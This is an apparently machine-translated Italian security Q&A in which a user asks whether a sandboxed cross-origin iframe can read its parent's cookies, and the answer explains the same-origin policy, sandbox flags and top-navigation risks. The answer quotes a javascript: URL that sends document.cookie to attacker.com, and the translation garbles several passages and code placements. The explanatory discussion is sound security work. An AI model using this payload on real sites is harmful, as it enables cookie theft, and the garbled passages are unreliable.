Come confermare che un iframe incorporato possa leggere i cookie dal genitore?

1

Ho questo codice html che posso inserire sul mio sito che stiamo valutando a fini di sicurezza. Il suo codice è essenzialmente questo:

<iframe src="https://glenpierce.github.io/"sandbox="allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox">
</iframe>

Il mio obiettivo è scrivere qualcosa su glenpierce.github.io che leggerà i cookie del genitore di quell'iframe e li stamperà sulla console per provare che questo iframe ha accesso ai cookie del genitore se questi flag sono impostati. Finora, non sono stato in grado di utilizzare Chrome 65 con document.cookie o parent.document .

Sono ben consapevole che questo è insicuro e ci sono altri motivi per non consentire queste bandiere, ma sono specificamente interessato a dimostrare che ho accesso ai cookie dei genitori (e / o all'archiviazione locale).

    
posta Glen Pierce 29.03.2018 - 02:50
fonte

1 risposta

5

La prima cosa da notare è che gli iframe (di default) non si comportano come se facessero parte della stessa origine, a meno che non siano . Se l'origine dell'iframe (nell'attributo src ) e l'origine genitore differiscono, l'iframe sarà sempre in modalità sandbox dal genitore. Questo impone un sacco di restrizioni, come non è in grado di accedere alla maggior parte delle proprietà dell'oggetto window.parent .

Puoi fare in modo che una iframe di stessa origine abbia gli stessi tipi di restrizioni degli ifram di origine incrociata [1] usando l'attributo sandbox . I valori di sandbox sono eccezioni all'attributo sandbox , non al modello di sicurezza iframe in generale. Pertanto, allow-same-origin non crea un iframe di origine incrociata come se fosse la stessa origine della pagina padre; semplicemente lascia che una iframe della stessa origine faccia la stessa cosa di origine che avrebbe potuto fare se non fosse sandboxing . Se genitore e iframe sono di origine incrociata, nessun importo di allow-same-origin o allow-top-navigation lo risolverà.

Per gli iframe che sono in realtà la stessa origine e non sono sandbox o hanno il valore dell'attributo allow-same-origin sandbox, window.parent.document.cookie ti consente di impostare o leggere (non%% di% in) cookie .

Un approccio che potresti aspettarti di lavorare con cross-origine è la navigazione top. Anche gli iframe di origine incrociata possono, se non sandbox (o se la sandbox ha HttpOnly ), impostare (ma non ottenere) l'URL del genitore. Potresti pensare che questo ti permetterebbe di fare qualcosa del genere: %codice% Se ciò succedeva, eseguiva javascript nel contesto della pagina padre ed estrapola i cookie di quella pagina (non HttpOnly).

Fortunatamente, gli sviluppatori di browser sono saggi per questo tipo di trucco. Un iframe (che è consentito la navigazione in alto) può puntare la pagina in alto su molte cose, ma un URI allow-top-navigation non è uno di questi.

Consentire agli iframe non attendibili di effettuare la navigazione in alto è ancora pericoloso, naturalmente. Potrebbero non essere in grado di sfruttarlo per iniettare script o rubare i cookie (non senza una vulnerabilità di iniezione, come un XSS), ma possono fare cose come navigare l'utente verso un URL simile a quello che visualizza lo stesso contenuto ma in realtà un sito di phishing, per esempio.

Ovviamente, ciò non esclude i cookie, ma rivela semplicemente che sono leggibili, ma è un modo per sfruttare parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie"

[1] E poi alcuni; le restrizioni più estreme sono più severe delle restrizioni di origine incrociata di default. Ciò significa che gli iframe cross-origine sandboxing non sono necessariamente ridondanti. Ad esempio, gli iframe di origine incrociata sono per impostazione predefinita consentite la maggior parte delle forme di navigazione in alto e script in esecuzione che non provano a interagire con l'oggetto javascript: , ma puoi bloccarli con il sandboxing.

    
risposta data 29.03.2018 - 05:23
fonte

Leggi altre domande sui tag